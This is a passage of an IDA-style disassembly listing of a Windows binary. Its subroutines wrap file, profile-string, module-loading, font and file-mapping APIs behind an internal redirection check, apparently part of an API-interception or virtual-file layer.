sub_414670 test eax, eax jnz short loc_41DF05 push [ebp+arg_4] push [ebp+arg_0] call ds:dword_424680 ; GetFileSize mov [ebp+var_4], eax jmp short loc_41DF11 ; --------------------------------------------------------------------------- loc_41DF05: ; CODE XREF: sub_41DEE0+12j cmp [ebp+arg_4], 0 jz short loc_41DF11 mov eax, [ebp+arg_4] and dword ptr [eax], 0 loc_41DF11: ; CODE XREF: sub_41DEE0+23j ; sub_41DEE0+29j mov eax, [ebp+var_4] leave retn 8 sub_41DEE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DF18 proc near ; CODE XREF: sub_402240-725p ; sub_401D20+AFp ; DATA XREF: ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41A831 add esp, 10h test eax, eax jnz short loc_41DF4B push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_424694 ; GetModuleFileNameA mov [ebp+var_4], eax loc_41DF4B: ; CODE XREF: sub_41DF18+1Fj mov eax, [ebp+var_4] leave retn 0Ch sub_41DF18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DF52 proc near ; DATA XREF: _5:00424338o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch push edi push 0 xor edx, edx mov ecx, [ebp+arg_14] call sub_415867 test eax, eax jz short loc_41DFD5 push 0 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_415B59 add esp, 1Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41DFD3 cmp [ebp+arg_8], 0 jz short loc_41DFD3 mov eax, [ebp+arg_10] dec eax push eax push [ebp+arg_8] push [ebp+arg_C] call sub_410630 add esp, 0Ch mov edi, [ebp+arg_8] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_8], ecx mov eax, [ebp+var_8] cmp eax, [ebp+arg_10] jnb short loc_41DFC7 mov eax, [ebp+var_8] mov [ebp+var_C], eax jmp short loc_41DFCD ; --------------------------------------------------------------------------- loc_41DFC7: ; CODE XREF: sub_41DF52+6Bj mov eax, [ebp+arg_10] mov [ebp+var_C], eax loc_41DFCD: ; CODE XREF: sub_41DF52+73j mov eax, [ebp+var_C] mov [ebp+var_4], eax loc_41DFD3: ; CODE XREF: sub_41DF52+3Aj ; sub_41DF52+40j jmp short loc_41DFF0 ; --------------------------------------------------------------------------- loc_41DFD5: ; CODE XREF: sub_41DF52+15j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4246A4 ; GetPrivateProfileStringA mov [ebp+var_4], eax loc_41DFF0: ; CODE XREF: sub_41DF52:loc_41DFD3j mov eax, [ebp+var_4] pop edi leave retn 18h sub_41DF52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DFF8 proc near ; DATA XREF: _5:00424340o var_58 = dword ptr -58h var_54 = byte ptr -54h var_53 = byte ptr -53h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 58h push edi and [ebp+var_4], 0 push 0 xor edx, edx mov ecx, [ebp+arg_C] call sub_415867 test eax, eax jz short loc_41E062 and [ebp+var_54], 0 push 13h pop ecx xor eax, eax lea edi, [ebp+var_53] rep stosd stosw stosb push 0 push [ebp+arg_C] push 50h lea eax, [ebp+var_54] push eax push offset dword_424898 push [ebp+arg_4] push [ebp+arg_0] call sub_415B59 add esp, 1Ch mov [ebp+var_58], eax cmp [ebp+var_58], 0 jnz short loc_41E053 mov eax, [ebp+arg_8] mov [ebp+var_4], eax jmp short loc_41E060 ; --------------------------------------------------------------------------- loc_41E053: ; CODE XREF: sub_41DFF8+51j lea eax, [ebp+var_54] push eax call sub_410A05 pop ecx mov [ebp+var_4], eax loc_41E060: ; CODE XREF: sub_41DFF8+59j jmp short loc_41E077 ; --------------------------------------------------------------------------- loc_41E062: ; CODE XREF: sub_41DFF8+19j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_42469C ; GetPrivateProfileIntA mov [ebp+var_4], eax loc_41E077: ; CODE XREF: sub_41DFF8:loc_41E060j mov eax, [ebp+var_4] pop edi leave retn 10h sub_41DFF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E07F proc near ; DATA XREF: _5:00424348o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push 0 xor edx, edx mov ecx, [ebp+arg_8] call sub_415867 test eax, eax jz short loc_41E0B1 push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push 0 push 0 push 0 call sub_415B59 add esp, 1Ch mov [ebp+var_4], eax jmp short loc_41E0C3 ; --------------------------------------------------------------------------- loc_41E0B1: ; CODE XREF: sub_41E07F+12j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4246A0 ; GetPrivateProfileSectionNamesA mov [ebp+var_4], eax loc_41E0C3: ; CODE XREF: sub_41E07F+30j mov eax, [ebp+var_4] leave retn 0Ch sub_41E07F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push 0 xor edx, edx mov ecx, [ebp+14h] call sub_415867 test eax, eax jz short loc_41E0FD push 1 push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push 0 push 0 push dword ptr [ebp+8] call sub_415B59 add esp, 1Ch mov [ebp-4], eax jmp short loc_41E112 ; --------------------------------------------------------------------------- loc_41E0FD: ; CODE XREF: _3:0041E0DCj push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_421028 ; GetPrivateProfileSectionA mov [ebp-4], eax loc_41E112: ; CODE XREF: _3:0041E0FBj mov eax, [ebp-4] leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E119 proc near ; CODE XREF: sub_41E15D+8p ; sub_41E170+9p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] call sub_419424 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41E158 mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] call sub_419995 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41E158 call ds:dword_424690 ; RtlGetLastWin32Error test eax, eax jnz short loc_41E154 push 7Eh call ds:dword_42470C ; RtlRestoreLastWin32Error loc_41E154: ; CODE XREF: sub_41E119+31j xor eax, eax jmp short locret_41E15B ; --------------------------------------------------------------------------- loc_41E158: ; CODE XREF: sub_41E119+13j ; sub_41E119+27j mov eax, [ebp+var_4] locret_41E15B: ; CODE XREF: sub_41E119+3Dj leave retn sub_41E119 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E15D proc near ; CODE XREF: sub_4014A0+14p ; sub_4184A0+EBp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push [ebp+arg_0] call sub_41E119 pop ecx pop ecx pop ebp retn 4 sub_41E15D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E170 proc near ; CODE XREF: sub_41CBF6+B9p ; sub_41CE67+B9p ... arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push [ebp+arg_8] push [ebp+arg_0] call sub_41E119 pop ecx pop ecx pop ebp retn 0Ch sub_41E170 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E184 proc near ; CODE XREF: sub_41E22D+8p ; sub_41E240+9p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421A28 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 10h push ebx push esi push edi and [ebp+var_1C], 0 and [ebp+var_4], 0 push 104h call sub_41BA4A pop ecx mov [ebp+var_20], eax mov eax, [ebp+var_20] mov [ebp+var_1C], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_1C] rep stosd push 0 push 0 push 104h push [ebp+var_1C] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_424738 ; WideCharToMultiByte push [ebp+arg_4] push [ebp+var_1C] call sub_41E119 pop ecx pop ecx push 0FFFFFFFFh mov [ebp+var_28], eax lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_28] jmp short loc_41E21E ; --------------------------------------------------------------------------- loc_41E20C: ; DATA XREF: _4:00421A30o mov eax, [ebp+var_1C] mov [ebp+var_24], eax push [ebp+var_24] call sub_41BACD pop ecx retn ; --------------------------------------------------------------------------- xor eax, eax loc_41E21E: ; CODE XREF: sub_41E184+86j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41E184 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E22D proc near ; DATA XREF: _5:004242A0o arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push [ebp+arg_0] call sub_41E184 pop ecx pop ecx pop ebp retn 4 sub_41E22D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E240 proc near ; DATA XREF: _5:004242B0o arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push [ebp+arg_8] push [ebp+arg_0] call sub_41E184 pop ecx pop ecx pop ebp retn 0Ch sub_41E240 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E254 proc near ; CODE XREF: sub_402240-72Cp ; sub_401D20+A8p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_41E268 push 0 call ds:dword_424698 ; GetModuleHandleA jmp short locret_41E28A ; --------------------------------------------------------------------------- loc_41E268: ; CODE XREF: sub_41E254+8j push [ebp+arg_0] call ds:dword_424698 ; GetModuleHandleA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41E287 xor dl, dl mov ecx, [ebp+arg_0] call sub_41925C mov [ebp+var_4], eax loc_41E287: ; CODE XREF: sub_41E254+24j mov eax, [ebp+var_4] locret_41E28A: ; CODE XREF: sub_41E254+12j leave retn 4 sub_41E254 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E28E proc near ; DATA XREF: _5:00424320o var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0041E32A SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421A38 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 10h push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_41E2C3 push 0 call ds:dword_424698 ; GetModuleHandleA jmp short loc_41E32D ; --------------------------------------------------------------------------- loc_41E2C3: ; CODE XREF: sub_41E28E+29j and [ebp+var_1C], 0 and [ebp+var_20], 0 and [ebp+var_4], 0 push 104h call sub_41BA4A pop ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_20], eax xor eax, eax mov edi, [ebp+var_20] stosd push 0 push 0 push 104h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_424738 ; WideCharToMultiByte push [ebp+var_20] call sub_41E254 mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_41E31A jmp short loc_41E32A sub_41E28E endp ; =============== S U B R O U T I N E ======================================= sub_41E31A proc near ; CODE XREF: sub_41E28E+85p ; DATA XREF: _4:00421A40o mov eax, [ebp-20h] mov [ebp-28h], eax push dword ptr [ebp-28h] call sub_41BACD pop ecx retn sub_41E31A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41E28E loc_41E32A: ; CODE XREF: sub_41E28E+8Aj mov eax, [ebp+var_1C] loc_41E32D: ; CODE XREF: sub_41E28E+33j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 ; END OF FUNCTION CHUNK FOR sub_41E28E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E33E proc near ; CODE XREF: sub_4014A0+29p ; DATA XREF: _0:off_401024o ... var_30 = dword ptr -30h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0041E446 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421A48 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_1C], 0 mov eax, [ebp+arg_4] shr eax, 10h and eax, 0FFFFh movzx eax, ax test eax, eax jz short loc_41E396 push offset aDllgetclassobj ; "DllGetClassObject" push [ebp+arg_4] call ds:dword_424740 ; lstrcmpi test eax, eax jnz short loc_41E396 mov ecx, [ebp+arg_0] call sub_419393 loc_41E396: ; CODE XREF: sub_41E33E+3Cj ; sub_41E33E+4Ej and [ebp+var_4], 0 push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4246A8 ; GetProcAddress mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41E3C6 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] and [ebp+var_30], 0 or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_30] jmp loc_41E449 ; --------------------------------------------------------------------------- loc_41E3C6: ; CODE XREF: sub_41E33E+6Fj cmp [ebp+var_1C], 0 jz short loc_41E446 mov eax, ds:dword_429034 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_41E3ED mov eax, [ebp+var_24] add eax, 10h push eax call ds:dword_42101C ; RtlEnterCriticalSection mov [ebp+var_28], 1 jmp short loc_41E3F1 ; --------------------------------------------------------------------------- loc_41E3ED: ; CODE XREF: sub_41E33E+9Aj and [ebp+var_28], 0 loc_41E3F1: ; CODE XREF: sub_41E33E+ADj movzx eax, [ebp+var_28] test eax, eax jz short loc_41E446 mov [ebp+var_4], 1 push [ebp+var_1C] mov ecx, ds:dword_429034 call sub_41EB4C mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_41E41F mov eax, [ebp+var_20] mov eax, [eax] mov [ebp+var_1C], eax loc_41E41F: ; CODE XREF: sub_41E33E+D7j or [ebp+var_4], 0FFFFFFFFh call sub_41E42A jmp short loc_41E446 sub_41E33E endp ; =============== S U B R O U T I N E ======================================= sub_41E42A proc near ; CODE XREF: sub_41E33E+E5p ; DATA XREF: _4:00421A5Co mov eax, ds:dword_429034 mov [ebp-2Ch], eax cmp dword ptr [ebp-2Ch], 0 jz short locret_41E445 mov eax, [ebp-2Ch] add eax, 10h push eax call ds:dword_421018 ; RtlLeaveCriticalSection locret_41E445: ; CODE XREF: sub_41E42A+Cj retn sub_41E42A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41E33E loc_41E446: ; CODE XREF: sub_41E33E+8Cj ; sub_41E33E+B9j ... mov eax, [ebp+var_1C] loc_41E449: ; CODE XREF: sub_41E33E+83j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_41E33E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E45A proc near ; DATA XREF: _5:00424290o var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421A60 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_1C], 0 and [ebp+var_4], 0 push [ebp+arg_0] call ds:dword_424660 ; FreeLibrary mov [ebp+var_20], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_20] jmp short loc_41E4B4 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 1 or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_24] loc_41E4B4: ; CODE XREF: sub_41E45A+43j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_41E45A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E4C5 proc near ; DATA XREF: _5:off_424388o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 mov eax, [ebp+arg_14] and eax, 10h test eax, eax jz short loc_41E4F1 cmp [ebp+arg_8], 0 jnz short loc_41E4F1 lea eax, [ebp+var_4] push eax push [ebp+arg_4] call sub_413056 test eax, eax jnz short loc_41E4F1 and [ebp+var_4], 0 loc_41E4F1: ; CODE XREF: sub_41E4C5+10j ; sub_41E4C5+16j ... cmp [ebp+var_4], 0 jnz short loc_41E512 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_42474C ; LoadImageA mov [ebp+var_4], eax loc_41E512: ; CODE XREF: sub_41E4C5+30j mov eax, [ebp+var_4] leave retn 18h sub_41E4C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E519 proc near ; DATA XREF: _5:off_424378o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push offset dword_4215BC push offset aAddfontresou_0 ; "AddFontResourceA" call sub_41D300 pop ecx pop ecx mov [ebp+var_8], eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41396C test eax, eax jnz short loc_41E54B push [ebp+arg_0] call [ebp+var_8] mov [ebp+var_4], eax loc_41E54B: ; CODE XREF: sub_41E519+27j mov eax, [ebp+var_4] leave retn 4 sub_41E519 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E552 proc near ; DATA XREF: _5:00424380o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push offset dword_4215BC push offset aRemovefontre_0 ; "RemoveFontResourceA" call sub_41D300 pop ecx pop ecx mov [ebp+var_8], eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_413D44 test eax, eax jnz short loc_41E584 push [ebp+arg_0] call [ebp+var_8] mov [ebp+var_4], eax loc_41E584: ; CODE XREF: sub_41E552+27j mov eax, [ebp+var_4] leave retn 4 sub_41E552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E58B proc near ; DATA XREF: _5:00424228o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_14] and eax, 40000000h neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_4] push eax push [ebp+arg_10] push [ebp+arg_4] push [ebp+arg_0] call sub_414344 test eax, eax jnz short loc_41E5D2 push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_424628 ; CreateFileA mov [ebp+var_4], eax loc_41E5D2: ; CODE XREF: sub_41E58B+27j mov eax, [ebp+var_4] leave retn 1Ch sub_41E58B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E5D9 proc near ; DATA XREF: _5:00424230o var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h ; FUNCTION CHUNK AT 0041E69C SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421A70 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 14h push ebx push esi push edi and [ebp+var_20], 0 or [ebp+var_1C], 0FFFFFFFFh and [ebp+var_4], 0 push 104h call sub_41BA4A pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] mov [ebp+var_20], eax xor eax, eax mov edi, [ebp+var_20] stosd push 0 push 0 push 104h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_424738 ; WideCharToMultiByte mov [ebp+var_24], eax cmp [ebp+var_24], 103h ja short loc_41E663 push 0 lea eax, [ebp+var_1C] push eax push [ebp+arg_10] push [ebp+arg_4] push [ebp+var_20] call sub_414344 test eax, eax jnz short loc_41E681 loc_41E663: ; CODE XREF: sub_41E5D9+70j push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_42462C ; CreateFileW mov [ebp+var_1C], eax loc_41E681: ; CODE XREF: sub_41E5D9+88j or [ebp+var_4], 0FFFFFFFFh call sub_41E68C jmp short loc_41E69C sub_41E5D9 endp ; =============== S U B R O U T I N E ======================================= sub_41E68C proc near ; CODE XREF: sub_41E5D9+ACp ; DATA XREF: _4:00421A78o mov eax, [ebp-20h] mov [ebp-2Ch], eax push dword ptr [ebp-2Ch] call sub_41BACD pop ecx retn sub_41E68C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41E5D9 loc_41E69C: ; CODE XREF: sub_41E5D9+B1j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 1Ch ; END OF FUNCTION CHUNK FOR sub_41E5D9 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E6B0 proc near ; DATA XREF: _5:00424250o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41473F test eax, eax jnz short loc_41E6D0 push [ebp+arg_0] call ds:dword_424624 ; CloseHandle mov [ebp+var_4], eax loc_41E6D0: ; CODE XREF: sub_41E6B0+12j mov eax, [ebp+var_4] leave retn 4 sub_41E6B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E6D7 proc near ; DATA XREF: _5:00424248o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_415175 test eax, eax jnz short loc_41E711 push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4246FC ; ReadFile mov [ebp+var_4], eax jmp short loc_41E734 ; --------------------------------------------------------------------------- loc_41E711: ; CODE XREF: sub_41E6D7+1Ej cmp [ebp+arg_10], 0 jz short loc_41E734 mov eax, [ebp+arg_10] cmp dword ptr [eax], 0 jnz short loc_41E734 mov eax, [ebp+arg_10] cmp dword ptr [eax+10h], 0 jz short loc_41E734 mov eax, [ebp+arg_10] push dword ptr [eax+10h] call ds:dword_424704 ; SetEvent loc_41E734: ; CODE XREF: sub_41E6D7+38j ; sub_41E6D7+3Ej ... mov eax, [ebp+var_4] leave retn 14h sub_41E6D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E73B proc near ; DATA XREF: _5:00424258o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41441F test eax, eax jnz short loc_41E76C push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_424708 ; SetFilePointer mov [ebp+var_4], eax jmp short loc_41E778 ; --------------------------------------------------------------------------- loc_41E76C: ; CODE XREF: sub_41E73B+18j cmp [ebp+arg_8], 0 jz short loc_41E778 mov eax, [ebp+arg_8] and dword ptr [eax], 0 loc_41E778: ; CODE XREF: sub_41E73B+2Fj ; sub_41E73B+35j mov eax, [ebp+var_4] leave retn 10h sub_41E73B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E77F proc near ; DATA XREF: _5:00424270o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_41E799 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_414214 test eax, eax jnz short loc_41E7B4 loc_41E799: ; CODE XREF: sub_41E77F+8j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_424630 ; CreateFileMappingA mov [ebp+var_4], eax loc_41E7B4: ; CODE XREF: sub_41E77F+18j mov eax, [ebp+var_4] leave retn 18h sub_41E77F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E7BB proc near ; DATA XREF: _5:00424278o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_41E7D5 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_414214 test eax, eax jnz short loc_41E7F0 loc_41E7D5: ; CODE XREF: sub_41E7BB+8j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_424634 ; CreateFileMappingW mov [ebp+var_4], eax loc_41E7F0: ; CODE XREF: sub_41E7BB+18j mov eax, [ebp+var_4] leave retn 18h sub_41E7BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E7F7 proc near ; DATA XREF: _5:00424280o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_413FDF test eax, eax jnz short loc_41E82F push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4246EC ; MapViewOfFile mov [ebp+var_4], eax loc_41E82F: ; CODE XREF: sub_41E7F7+1Ej mov eax, [ebp+var_4] leave retn 14h sub_41E7F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E836 proc near ; DATA XREF: _5:00424288o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_413EED test eax, eax jnz short loc_41E856 push [ebp+arg_0] call ds:dword_424720 ; UnmapViewOfFile mov [ebp+var_4], eax loc_41E856: ; CODE XREF: sub_41E836+12j mov eax, [ebp+var_4] leave retn 4 sub_41E836 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E85D proc near ; DATA XREF: _5:004242F0o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 lea eax, [ebp+var_4] push eax push 0 push 0 push [ebp+arg_0] call sub_414344 test eax, eax jz short loc_41E8EB cmp [ebp+arg_4], 0 jz short loc_41E8E6 mov eax, 